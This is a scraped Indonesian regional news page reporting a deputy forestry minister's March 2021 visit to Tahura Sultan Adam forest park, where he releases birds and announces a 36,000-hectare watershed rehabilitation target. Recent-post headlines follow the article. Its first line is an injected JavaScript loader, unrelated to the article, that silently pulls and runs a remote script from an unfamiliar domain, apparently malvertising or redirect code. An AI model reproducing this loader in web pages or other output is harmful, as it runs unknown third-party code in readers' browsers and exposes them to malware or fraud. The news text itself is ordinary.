(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

Wamen LHK Lepas Liarkan Satwa di Tahura Sultan Adam


KANALKALIMANTAN.COM, BANJARBARU – Wakil Menteri Lingkungan Hidup dan Kehutanan (LHK), Alue Dohong, mengaku terkesan menyaksikan kawasan Taman Hutan Raya (Tahura) Sultan Adam yang dikelola Dinas Kehutanan Provinsi Kalimantan Selatan.

Dalam kunjungan kerja, Kamis (11/3/2021) pagi, Wamen LHK secara langsung menyusuri kawasan agrowisata yang berada di Kabupaten Banjar itu. Kegiatannya tersebut didampingi Plh Sekretaris Daerah (Sekda) Provinsi Kalsel Roy Rizali Anwar serta Kepala Dishut Kalsel Fatimatuzzahra.

Selain menyusuri Tahura Sultan Adam, Wamen LHK juga berkesempatan melepas liarkan berbagai jenis satwa unggas di kawasan tersebut. Momen ini begitu menarik perhatian orang nomor dua di Kementrian LHK tersebut.

Kepada awak media, Alue mengungkapkan pengelolaan Tahura Sultan Adam sebagai kawasan hutan yang dilindungi sangat bagus. Terlebih katanya tersedia penangkaran untuk pengembangbiakan satwa.

“Menurut informasi yang saya terima kawasan ini memiliki luas mencapai 110 ribu hektare. Landscape pemandangannya indah sekali. Mungkin ke depannya pelepasan satwa kategori F2 ataupun F3 bisa dilakukan di sini. Jadi keturunan satwa bisa dikomersialkan,” ujarnya.

Tak sampai di situ, Wamen LHK juga mengapresiasi Pemprov Kalsel atas program rehabilitasi Daerah Aliran Sungai (DAS) di Tahura Sultan Adam. Sehingga, terangnya keragaman hayati di kawasan ini tetap terjaga.

“Saya mengaperasiasi kebijakan Pemprov Kalsel yang tegas kepada para pemegang Izin Pinjam Pakai Kawasani Hutan (IPPKH) untuk wajib melakukan penanaman rehabilitasi. Kawasan Tahura Sultan Adam kini adalah bukti nyata yang sangat bagus dan positif,” bebernya.

Program rehabilitasi DAS, ditegaskan Alue sangatlah penting untuk dilaksanakan. Terlebih di provinsi Kalimantan Selatan, dimana pada awal tahun tadi baru saja dihadapkan bencana banjir yang berdampak terhadap puluhan ribu jiwa.

Maka dari itu, ia bersama Kementrian LHK telah mematok target rehabilitasi DAS yang akan dilaksanakan di Kalsel sepanjang tahun ini. Target tersebut, diklaim Alue mengalami kenaikan dari tahun-tahun sebelumnya.

“Sepanjang IPPKH nya ada, target rehab DAS akan kita naikan. Apalagi setelah peristiwa banjir beberapa waktu lalu. Kita putuskan untuk meningkatkan target jumlah lahan yang direhabilitasi di Kalsel tahun ini yakni seluas 36.000 hektare,” tuntasnya. (kanalkalimantan.com/rico)

 

Reporter : Rico
Editor : Bie

 

 

 


Al Ghifari

Recent Posts

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

9 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

12 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

15 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

16 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

16 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

17 jam ago

This website uses cookies.